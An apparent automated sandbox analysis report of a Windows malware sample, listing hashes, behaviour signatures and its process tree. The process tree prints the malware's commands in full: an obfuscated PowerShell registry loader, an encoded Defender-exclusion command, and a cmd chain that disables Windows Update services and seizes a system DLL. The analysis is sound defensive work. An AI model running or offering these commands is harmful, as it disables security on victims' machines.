Analysis
-
max time kernel
151s -
max time network
62s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
15-11-2022 10:22
Static task
static1
Behavioral task
behavioral1
Sample
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
Resource
win7-20220812-en
General
-
Target
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
-
Size
2.7MB
-
MD5
cff0e1b4af4ef5a2d4cb78ea5d403d58
-
SHA1
5224506ce265475452aeddf540f5f9b996f84bd6
-
SHA256
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915
-
SHA512
55cfed7b7a95c71afd8191116f03829b8c51661cf1de035652e08b8ae4b8003f569ca6e198748167e626d17edb7012fe535aa08e8af2e09d2440880088fa2c40
-
SSDEEP
49152:YX9bvpxA+I4AY+a7xIrLlxJq5ZjoVrY4u0uXh/DP+P:2DnNExInjojwRK
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1992 created 420 1992 powershell.EXE winlogon.exe PID 1988 created 420 1988 powershell.EXE winlogon.exe -
Drops file in Drivers directory 2 IoCs
Processes:
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exeupdater.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe File opened for modification C:\Windows\system32\drivers\etc\hosts updater.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1144 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 672 takeown.exe 832 icacls.exe 1360 takeown.exe 1988 icacls.exe -
Stops running service(s) 3 TTPs
-
Deletes itself 1 IoCs
Processes:
cmd.exepid process 1772 cmd.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1052 taskeng.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 672 takeown.exe 832 icacls.exe 1360 takeown.exe 1988 icacls.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 3 ip-api.com -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEpowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exepowershell.EXEpowershell.EXEdescription pid process target process PID 1684 set thread context of 1136 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe conhost.exe PID 1992 set thread context of 1500 1992 powershell.EXE dllhost.exe PID 1988 set thread context of 524 1988 powershell.EXE dllhost.exe -
Drops file in Program Files directory 3 IoCs
Processes:
updater.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Chrome\updater.exe 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe -
Drops file in Windows directory 6 IoCs
Processes:
svchost.execonhost.exedescription ioc process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File created C:\Windows\Tasks\dialersvc32.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job conhost.exe File created C:\Windows\Tasks\dialersvc64.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc64.job conhost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1804 sc.exe 552 sc.exe 1408 sc.exe 1296 sc.exe 972 sc.exe 1632 sc.exe 1964 sc.exe 1544 sc.exe 1992 sc.exe 1720 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 5 IoCs
Processes:
updater.exepowershell.EXEdescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" updater.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" updater.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40248496e4f8d801 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ updater.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1108 reg.exe 1908 reg.exe 1612 reg.exe 1376 reg.exe 1208 reg.exe 1504 reg.exe 1132 reg.exe 1976 reg.exe 1304 reg.exe 1492 reg.exe 1156 reg.exe 1216 reg.exe 1968 reg.exe 684 reg.exe 2012 reg.exe 1536 reg.exe 1836 reg.exe 1360 reg.exe -
Processes:
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exepowershell.exeupdater.exepid process 1356 powershell.exe 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe 1992 powershell.EXE 1988 powershell.EXE 1992 powershell.EXE 1500 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 1988 powershell.EXE 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1136 powershell.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 524 dllhost.exe 524 dllhost.exe 1500 dllhost.exe 1500 dllhost.exe 1144 updater.exe 524 dllhost.exe 524 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exetakeown.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exepowershell.exeupdater.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1356 powershell.exe Token: SeShutdownPrivilege 1476 powercfg.exe Token: SeShutdownPrivilege 872 powercfg.exe Token: SeShutdownPrivilege 752 powercfg.exe Token: SeShutdownPrivilege 832 powercfg.exe Token: SeDebugPrivilege 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe Token: SeTakeOwnershipPrivilege 1360 takeown.exe Token: SeDebugPrivilege 1992 powershell.EXE Token: SeDebugPrivilege 1988 powershell.EXE Token: SeDebugPrivilege 1992 powershell.EXE Token: SeDebugPrivilege 1500 dllhost.exe Token: SeDebugPrivilege 1988 powershell.EXE Token: SeDebugPrivilege 524 dllhost.exe Token: SeAuditPrivilege 876 svchost.exe Token: SeDebugPrivilege 1136 powershell.exe Token: SeDebugPrivilege 1144 updater.exe Token: SeShutdownPrivilege 2000 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 876 svchost.exe Token: SeIncreaseQuotaPrivilege 876 svchost.exe Token: SeSecurityPrivilege 876 svchost.exe Token: SeTakeOwnershipPrivilege 876 svchost.exe Token: SeLoadDriverPrivilege 876 svchost.exe Token: SeSystemtimePrivilege 876 svchost.exe Token: SeBackupPrivilege 876 svchost.exe Token: SeRestorePrivilege 876 svchost.exe Token: SeShutdownPrivilege 876 svchost.exe Token: SeSystemEnvironmentPrivilege 876 svchost.exe Token: SeUndockPrivilege 876 svchost.exe Token: SeManageVolumePrivilege 876 svchost.exe Token: SeAssignPrimaryTokenPrivilege 876 svchost.exe Token: SeIncreaseQuotaPrivilege 876 svchost.exe Token: SeSecurityPrivilege 876 svchost.exe Token: SeTakeOwnershipPrivilege 876 svchost.exe Token: SeLoadDriverPrivilege 876 svchost.exe Token: SeSystemtimePrivilege 876 svchost.exe Token: SeBackupPrivilege 876 svchost.exe Token: SeRestorePrivilege 876 svchost.exe Token: SeShutdownPrivilege 876 svchost.exe Token: SeSystemEnvironmentPrivilege 876 svchost.exe Token: SeUndockPrivilege 876 svchost.exe Token: SeManageVolumePrivilege 876 svchost.exe Token: SeAssignPrimaryTokenPrivilege 876 svchost.exe Token: SeIncreaseQuotaPrivilege 876 svchost.exe Token: SeSecurityPrivilege 876 svchost.exe Token: SeTakeOwnershipPrivilege 876 svchost.exe Token: SeLoadDriverPrivilege 876 svchost.exe Token: SeSystemtimePrivilege 876 svchost.exe Token: SeBackupPrivilege 876 svchost.exe Token: SeRestorePrivilege 876 svchost.exe Token: SeShutdownPrivilege 876 svchost.exe Token: SeSystemEnvironmentPrivilege 876 svchost.exe Token: SeUndockPrivilege 876 svchost.exe Token: SeManageVolumePrivilege 876 svchost.exe Token: SeAssignPrimaryTokenPrivilege 876 svchost.exe Token: SeIncreaseQuotaPrivilege 876 svchost.exe Token: SeSecurityPrivilege 876 svchost.exe Token: SeTakeOwnershipPrivilege 876 svchost.exe Token: SeLoadDriverPrivilege 876 svchost.exe Token: SeSystemtimePrivilege 876 svchost.exe Token: SeBackupPrivilege 876 svchost.exe Token: SeRestorePrivilege 876 svchost.exe Token: SeShutdownPrivilege 876 svchost.exe Token: SeSystemEnvironmentPrivilege 876 svchost.exe Token: SeUndockPrivilege 876 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
svchost.exepid process 876 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.execmd.execmd.exedescription pid process target process PID 1684 wrote to memory of 1356 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe powershell.exe PID 1684 wrote to memory of 1356 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe powershell.exe PID 1684 wrote to memory of 1356 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe powershell.exe PID 1684 wrote to memory of 1500 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe cmd.exe PID 1684 wrote to memory of 1500 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe cmd.exe PID 1684 wrote to memory of 1500 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe cmd.exe PID 1684 wrote to memory of 1692 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe cmd.exe PID 1684 wrote to memory of 1692 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe cmd.exe PID 1684 wrote to memory of 1692 1684 6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe cmd.exe PID 1500 wrote to memory of 1804 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1804 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1804 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1632 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1632 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1632 1500 cmd.exe sc.exe PID 1692 wrote to memory of 1476 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 1476 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 1476 1692 cmd.exe powercfg.exe PID 1500 wrote to memory of 552 1500 cmd.exe sc.exe PID 1500 wrote to memory of 552 1500 cmd.exe sc.exe PID 1500 wrote to memory of 552 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1408 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1408 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1408 1500 cmd.exe sc.exe PID 1692 wrote to memory of 872 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 872 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 872 1692 cmd.exe powercfg.exe PID 1500 wrote to memory of 1964 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1964 1500 cmd.exe sc.exe PID 1500 wrote to memory of 1964 1500 cmd.exe sc.exe PID 1500 wrote to memory of 2012 1500 cmd.exe reg.exe PID 1500 wrote to memory of 2012 1500 cmd.exe reg.exe PID 1500 wrote to memory of 2012 1500 cmd.exe reg.exe PID 1692 wrote to memory of 752 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 752 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 752 1692 cmd.exe powercfg.exe PID 1500 wrote to memory of 1304 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1304 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1304 1500 cmd.exe reg.exe PID 1692 wrote to memory of 832 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 832 1692 cmd.exe powercfg.exe PID 1692 wrote to memory of 832 1692 cmd.exe powercfg.exe PID 1500 wrote to memory of 1536 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1536 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1536 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1208 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1208 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1208 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1504 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1504 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1504 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1360 1500 cmd.exe takeown.exe PID 1500 wrote to memory of 1360 1500 cmd.exe takeown.exe PID 1500 wrote to memory of 1360 1500 cmd.exe takeown.exe PID 1500 wrote to memory of 1988 1500 cmd.exe icacls.exe PID 1500 wrote to memory of 1988 1500 cmd.exe icacls.exe PID 1500 wrote to memory of 1988 1500 cmd.exe icacls.exe PID 1500 wrote to memory of 1968 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1968 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1968 1500 cmd.exe reg.exe PID 1500 wrote to memory of 684 1500 cmd.exe reg.exe PID 1500 wrote to memory of 684 1500 cmd.exe reg.exe PID 1500 wrote to memory of 684 1500 cmd.exe reg.exe PID 1500 wrote to memory of 1492 1500 cmd.exe reg.exe
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\taskeng.exetaskeng.exe {0E5DA892-BA2E-4DF2-BAA8-53FB791F3A01} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAYgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAdwBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAbgAjAD4A"5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE5⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits6⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc6⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f6⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll6⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q6⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f6⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f6⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE6⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE6⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE6⤵
-
